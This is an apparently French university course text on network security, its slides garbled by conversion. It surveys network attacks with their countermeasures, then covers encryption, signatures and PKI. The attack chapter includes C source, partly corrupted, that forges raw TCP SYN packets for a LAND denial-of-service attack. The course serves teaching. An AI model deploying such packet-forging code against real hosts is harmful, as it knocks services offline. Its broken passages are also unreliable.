Download Cours-sec-res-ataques_services_mécanisme...
Cours Sécurité des réseaux
[email protected] h d
[email protected] b lk @ h f
[email protected]
Objectifs du cours:
Comprendre C d
des d notions ti de d sécurisation é i ti des d réseaux, sous forme d’exposés théoriques et d’ d’exemples l pratiques. ti
Pré requis
Concepts
de base de la sécurité informatique
Concepts de bases des réseaux
réseaux TCP/IP
Remarque: ce document doit être complété par les notes de cours
1
2
Plan
Plan
Chap1: Introduction à la sécurité réseaux
Chap5:Architecture de sécurité VLAN VPN DM
Chap2:Les attaques réseaux
Chap3:Sécurisation des communication
SSL/TLS SET IPSEC
Chiffrement, signature, g certificat, PKI Exemples: VPN, SSH
Chap6: Protocole de sécurité sur internet
Chap4: Contrôle d d’accès accès Niveau réseau: Filtrage et ACL Niveau application: authentification (certificat…) (certificat )
3
4
Chapitre 1 introduction à la sécurité d réseaux des é
Introduction Réseaux Bases de données
Personnel
SÉCURITÉ
Web
Locaux
DE QUI ? DE QUOI ?
Systèmes p d’exploitations
Matériel Applications
5
6
Sécurité
Aspects de la sécurité
Ensemble
des techniques qui assurent que les ressources (matérielles ( é i ll ou logicielles) l i i ll ) soient i utilisées uniquement dans le cadre où il est prévu qu'elles ' ll le l soient. i
Méthodes employées pour casser les services de la sécurité en détournant les mécanismes
ATTAQUES
SERVICES
7
Fonctionnalités requises pour assurer un environnement sécurisé en faisant appel aux mécanismes
MÉCANISMES Moyens utilisés pour assurer les services de la sécurité en luttant contre les attaques 8
Services de la sécurité
Attaques:classification
Authentification
• c'est l'assurance de l'identité d'un objet de tout type qui peut être une personne, un serveur ou une application. li ti
Externes
Exécutées par des entités externes au système victime
Intégrité
• c'est la garantie qu'un objet (document, fichier message, fichier, message etc etc.)) ne soit pas modifié par un tiers que son auteur.
Internes
Exécutées par des entités internes au système victime parce qu’ils sont malicieux ou détenu d par des d attaquants
Confidentialité
• cc’est est l’assurance l assurance qu’une qu une information ne soit pas comprise par un tiers qui n’en a pas le droit
S tè Système
Non répudiation
• c'est l'assurance que l'émetteur d'un message ne puisse pas nier l'avoir envoyé et que son récepteur ne puisse pas nier l'avoir reçu.
Disponibilité
• c'est l'assurance que les services ou l'information soient utilisable et accessible par les l utilisateurs tili t autorisés t i é
Attaques
Attaque interne
Mécanismes
Signature électronique él t i Certificats et PKI Pare feu Pare-feu (firewall) Contrôle d’accès
….
Ecoute du système (réseau) pour l’analyser
A i Actives
Injection, suppression ou modification de Injection données
10
Par où commencer?
Chiffrement
P i Passives Attaques 9
Attaque externe
Confidentialité
Pour sécuriser un réseau il faut:
Définir Défi i
une structure t t d du réseau é conforme f à l’ l’organisation i ti de l’entreprise
Intégrité +Non Non répudiation + authentification Authentification
Séparer les communautés. communautés Garde barrière entre communautés. Laisser une porte "ouverte" vers l’extérieur (sans risques).
Définir
Filtrage des communication ( é é l (généralement au niveau i réseau et transport) Filtrage des communication (généralement au niveau application) 11
une politique de sécurité.
La sécurité == 90% de méthodologie et d’organisation + 10% de technique h i
Mise
en place de la politique: sécurisation
Audit de la sécurité
Détection/Correction / d’incidents 12
Politique de sécurité
Audit de la sécurité
Objectifs
Sécurisation adaptée aux besoins de ll’entreprise entreprise
Permet d’analyser un audit de sécurité
voir
Composants d’une politique de sécurité
politique de confidentialité
politique d’accès
politique l d’ d’authentification h f
Politique de responsabilité
Politique de maintenance
politique de rapport de violations
…
Audit ? si la politique de sécurité est respectée
Découvrir Dé i les l
risques i
Effectuer des
tests technique de vulnérabilité
Proposer p
des recommandations
Proposer
un plan d’action
13
14
Conclusion
La sécurité
tâche tâ h
difficile diffi il
pas de sécurité à 100%
Chapitre 2
Motivation des attaquants
Attirance
de ll'interdit interdit
Le désir d'argent (violer un système bancaire)
Le désir de renommée (impressionner des amis)
l'envie de nuire (détruire des données, empêcher un système de fonctionner)
Attaques réseaux
… 15
16
Objectifs des attaquants
Motivation des attaquants
Désinformer
Vengeance/rancune
Empêcher
Politique/religion
Défis intellectuels
Envie de nuire aux autres
Impressionner les autres
Vol d’informations
Désir d d’argent argent
Falsification d’informations
Prendre
le contrôle d'une ressource
Récupérer
Utiliser
l'accès à une ressource
d l'information de l f
le système compromis pour attaquer un
autre (rebondir) ( )
… 17
18
Classification des attaques
Classification des attaques
Attaques passives
Écoute É t
ett analyse l d du ttrafic fi réseau é ÆExemple d’outils: wireshark, tcpdump ÆBut: trouver des informations susceptibles d'intéresser un attaquant q
Attaques actives
Modification
Injection ject o
Æ Adresses
IP importantes Æ Architecture du réseau Æ Emplacement des nœuds Æ Informations d’authentification d authentification Æ Information secrète (en cas de guerre par exemple) Æ…
des données en transit
de do données ées
Fabrication (mascarade): injecter des données en spécifiant une adresse source légitime Rejeu: ré-envoyer d’anciens données
Suppression 19
de données 20
Exemples d’attaques (sur les faiblesses des protocoles)
Les attaques réseaux exploitent les faiblesses
Des D
off death d th
Données: Taille maximum d ’un paquet IP = 65535 octets
ICMP est encapsulé par IP
mécanismes d’authentification:
implémentation:
Attaquant:
Exemple: xe p e: mot ot de passe en e clair c a sur su lee réseau, éseau, bugs
Des
Exemple: usurpation d’identité
Des
Attaques sur la fragmentation des paquets IP
Ping Pi
protocoles: t l
Conception simple, légère et non sécurisé
Des
configuration :
Victime
Exemple: Firewall mal configuré laissant passer un trafic non autorisé.
Générer des fragments appartenant à des paquets ICMP de taille > 65535 Le réassemblage des fragments provoque le crash du buffer ou le reboot du système
Parade:
P t h (déjà existants Patches i t t dans d les l nouveaux OS)
21
22
Exemples d’attaques (sur les faiblesses des protocoles)
Attaques sur la fragmentation des paquets IP
Tiny Ti
fragment f t attack tt k
Attaques sur la fragmentation des paquets IP
TCP est encapsulé dans IP Les filtres testent généralement le premier fragment
Attaque:
Attaque:
Parade Fixer, au niveau des filtres, une taille minimale du premier fragment
23
Chevauchement des champs offsets (IP encapsulant UDP)
Objectif:
Utiliser de petit fragments pour forcer la division de l’entête TCP sur deux fragments g
Exemple: les flags TCP sont placés dans le second fragment, ce qui ne permet pas au filtres de supprimer les connexions indésirable
tteardrop d Att Attackk (chevauchement)
The Th
Données:
Exemples d’attaques (sur les faiblesses des protocoles)
A êt lle système Arrêter tè ((attaque tt D DoS) S)
Parade
Patches
Une
variante de cette attaque laisse des gap entre les fragments
24
Exemples d’attaques (sur les faiblesses des protocoles)
Attaques sur la fragmentation des paquets IP
The Th
O Overlapping l i Fragment F t Attack Att k (chevauchement)
Attaques sur la fragmentation des paquets IP
The Th
Objectif:
Exemples d’attaques (sur les faiblesses des protocoles)
Passer a travers un firewall
Attaque:
Le premier L i fragment f t contient ti t d des iinformations f ti TCP que le l système de filtrage accepte.
Le deuxième fragment g réécrit une p partie de l’entête TCP placée dans le premier fragment en plaçant des informations malicieuses
Exemple courant: changer le numéro de port 80 (HTTP) par 23 (telnet)
Un firewall doit assurer une valeur minimale pour le champs 25 fragment offseet
TCP syn flooding
Données: D é
SYN x SYNy, ACKx+1
SYN_RECVD
3 way hand-shake ACK y+11 Attente dans l ’état CONNECTED SYN_RECVD (75s) Nombre N b li limité iéd de connexions i d dans cet éétat
Attaque:
Etablir plusieurs connexion successives semi-ouverte afin de saturer la pile TCP de la victime Æ Perte de connectivité ti ité
Parade
Parade
Un firewall doit assurer une valeur minimale pour le champs 26 fragment offset
Exemples d’attaques (sur le design des protocoles)
LISTEN
Attaque: Le premier L i fragment f t contient ti t d des iinformations f ti TCP que le l système de filtrage accepte.
Le deuxième fragment g réécrit une p partie de l’entête TCP placée dans le premier fragment en plaçant des informations malicieuses
Exemple courant: changer le numéro de port 80 (HTTP) par 23 (telnet)
Exemples d’attaques (sur les faiblesses des protocoles)
Passer a travers un firewall
Parade
Objectif:
O Overlapping l i Fragment F t Attack Att k (chevauchement)
Attaques DoS
Données D é
Les protocoles permettent la diffusion !
Attaque: A
Saturer la bande passante par inondation avec des gros paquets
Objectifs:
Rendre indisponible un service, service un système ou un réseau
Exemple:
attaque smurf
Inondation du réseau avec a ec des ping ayant a ant des adresses de broadcast et une adresse source fausse ou d’une victime
Parade
réduction du timer, filtrage, fermer les port inutile… 27
Ne pas répondre pour les adresses broadcast, filtrage
28
Exemples d’attaques (sur le design des protocoles)
Attaque LAND
Exemples d’attaques (sur le design des protocoles)
Attaque: Att
Email Bombing/Spamming
Données D é
Forger plusieurs segments TCP syn avec l ’adresse source identique id ti à l ’adresse ’ d de d la l machine hi victime i ti
Attaque: A
Effet:
Congestion ou crash de la victime
Bombing: envoi d ’un message répété à une même adresse S Spamming:le i l message estt envoyéé à d des milliers illi d ’adresses ’ d
Objectif:
Parade
Falsification de l ’adresse d ’origine
Filtrage ou software
congestion ti d du réseau é crash du serveur de messagerie
Parade
Supervision, filtrage…
29
30
Exemples d’attaques (sur le design des protocoles)
ICMP redirect et ICMP unreachable
Attaque Att ICMP
redirect di t
ARP spoofing
Attaque: Att
Un attaquant envoie à une machine un message ICMPredirect pour lui indiquer un autre chemin à suivre (qui passe par lui)
Attaque q ICMP
Exemples d’attaques (sur le design des protocoles)
unreachable
Un attaquant envoie à une machine un message ICMPunreachable Æ La machine ne peut plus joindre le réseau
Répondre à une trame ARP who is? par une trame ARP reply l avec une adresse d MAC quii ne correspond d pas à l ’adresse IP
Objectif:
Faire passer un trafic f par llui Fausser les tables ARP Perte de connectivité réseau
Parade Filtrage
Authentification (Ipsec)
31
32
Exemples d’attaques (sur le design des protocoles)
IP spoofing (usurpation d’identité)
Exemples d’attaques (sur le design des protocoles)
UDP bombing
Données: D é
Attaque
Envoyer des paquets IP en utilisant une adresse IP source d’une autre machine
Objectif: Obj tif
Service echo: echo des caractères reçus Service chargen: générateur de caractères
Attaque:
Se masquer
Utiliser les privilèges de l’adresse l adresse usurpée
Parade
Deux services utilisés dans le passé pour le test du réseau é ett sontt activés ti é par déf défautt
Établir une connexion entre ces deux services (dans deux machines différentes ou dans la même machine)
Objectifs j
Authentification (Ipsec, (Ipsec SSL…) SSL )
Congestion du réseau et dégradation des performances des machines victimes
Parade: P d 33
Exemples d’attaques
Attaques Man-in-the-Middle
Principe: Pi i
Faire passer l’échange réseau entre deux systèmes par l’ tt l’attaquant t
Modes:
Relais transparent
Relais applicatif
L’attaquant joue le rôle d’un routeur en conservant les caractéristiques des paquets et en transformant les données. données Le premier système parle avec ll’attaquant attaquant qui parle avec le second système
Hijacking j g
L’attaquant vole la session et l’utilise pour parler avec l’un 35 des deux systèmes
désactiver les ports correspondants
34
Exemple de code source (attaque LAND) int main(int argc,char * argv[]) { struct sockaddr_in sin; struct hostent * hoste; int t soc sock; ; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr hd * tcpheader=(struct h d ( tcphdr hd *) (buffer+sizeof(struct iphdr)); struct pseudohdr pseudoheader; if(argch_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown p t (stde , u o host ost %s\ %s\n",argv[1]); ,a g [ ]); return(-1); } if(( i if((sin.sin_port=htons(atoi(argv[2])))==0) i h ( i( [2]))) 0) { fprintf(stderr,"unknown p port %s\n",argv[2]); p g return(-1); } if(( if((sock=socket(AF_INET,SOCK_RAW,255))==-1){ k k t(AF INET SOCK RAW 255)) 1){ fprintf(stderr,"couldn't allocate raw socket\n"); return( 1); return(-1); }
Exemple de code source (attaque LAND) bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4; ipheader->ihl=sizeof(struct iphdr)/4; ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->id=htons(0xF1C); ipheader->ttl=255; ipheader->protocol=IP_TCP; ipheader->saddr=sin.sin_addr.s_addr; ipheader->daddr=sin.sin_addr.s_addr; tcpheader >th_sport tcpheader->th sport=sin sin.sin_port; sin port; tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_SYN; 37
38
Exemple de code source (attaque LAND) tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; d h d d dd dd i i dd dd pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct pseudoheader.length htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in)); close(sock); l ( k) return(0); t (0) } 39
Ch it 2 Chapitre Mécanismes cryptographiques de la sécurité
40
Mécanismes
Chiffrement
Chiffrement symétrique A
B Clé = K
Confidentialité
Chiffrement
Canal sécurisé
Message
Signature Si électronique
Mécanismes
Certificats et PKI
M
Intégrité g + Non répudiation + authentification
C = EK (M)
Canal non sécurisé
³ Ré Réseau
41
Chiffrement
Chiffrement asymétrique A( pk A , sk A )
Chiffrement hybride
B( pkB , skB )
Clé publique du destinataire xxxx
pk B
Cryptage
Canal authentifié
C = pkB (M)
C Canal non sécurisé
Clé publique du xxxxx ------ destinataire ---------Message original
Cryptage
xxxxx x Message chiffré
xxxxx Clé secrète ----------xxxxx Dé Décryptage t ----x Message Message chiffré original
42
Chiffrement
M = DK (C )
³
xxxxx ------ Clé secrète xxxxx ------ Cryptage C t x ----Message Message original chiffré
A th tifi ti Authentification
C
Ré Réseau
Clé secrète
M = sk B (C )
xxxxx xxxxx x Message chiffré
Clé privée du destinataire xxxx xxxx Décryptage xxx Clé secrète Clé secrète chiffré hiff é
xxxx xxx Clé secrète chiffrée Réseau
Clé privée du -----destinataire -----Décryptage ----Message original
43
------ Clé secrète xxxx xxxx ------ Cryptage xxx ----Message Message chiffré original
Clé secrète -----xxxx xxxx Décryptage -----xxx ----Message Message chiffré original 44
Signature électronique
Permet l’authentification, l’intégrité et la non répudiation
Fonction de Condensât C d ât hachage --------------Message original Clé privé de
Condensât Condensât chiffré
--------------Fonction de hachage
xxx
Message original
---------------
+
M est de taille quelconque C est de taille fixe (16 ou 20 octets)
à sens unique
Si H (M1) = C1 ,
Sont ils identiques Sont ils identiques oui non
: checksums, « intégrité » 46
Certificat numérique
Permet l’authentification
il est très difficile de trouver : M2 différent diffé t de d M1 tel t l que H (M2) = C1
Usage
La signature ou le La signature ou le message ont été 45 modifiés
Certificat numérique
appelé condensât, ou empreinte, ou fingerprint, ou message digest
Fonction
Condensât Condensât calculé par le reçu calculé par le reçu récepteur
Message authentique
(M) = C
Clé publique de l’émetteur
Réseau
Condensât chiffré
Fonction de hashage
H
+
Message original
ll’émetteur émetteur
xxx
Garantit l’appartenance pp d’une clé p publique q à une entité
Serial number :
Principal format: certificats X.509
Signature Algorithm ID :
47
Distinguished Name (DN) du détenteur de la clé publique.
Subject j p public key y info f :
Distinguished Di i i h d Name N (DN) de d l'autorité l' i de d certification ifi i quii a émis ce certificat.
Subject Name :
Identifiant du type de signature utilisée.
Issuer Name :
Numéro de série du certificat (p (propre p à chaque q autorité de certification).
Informations sur la clé publique du certificat.
Signature g :
Signature numérique du CA sur l'ensemble des champs
48
Vérification d’un certificat
PKI: Public Key Infrastructure Traitement des demande de: - Création - Révocation - Renouvellement de certificats
Certificat Version: ‐‐‐‐‐‐‐‐‐‐ Fonction de hashage
SN : ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
Empreinte1
Certificat invalide non
- Création C é ti - Révocation - Renouvellement d certificats de tifi t
Égalité?
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ Signature:1b:2b:c0:3 e:52:4d:14:43:…
Déchiffrement
Empreinte2
oui Certificat valide
Archiver les clés privées/publiques
Clé publique de l'autorité de certification 49
Autorité d’Enregistrement d Enregistrement
Publication des certificats émis ou révoqués
Annuaire Opérateur de Certification validation Service de séquestre
Vérifier la validité des certificats
50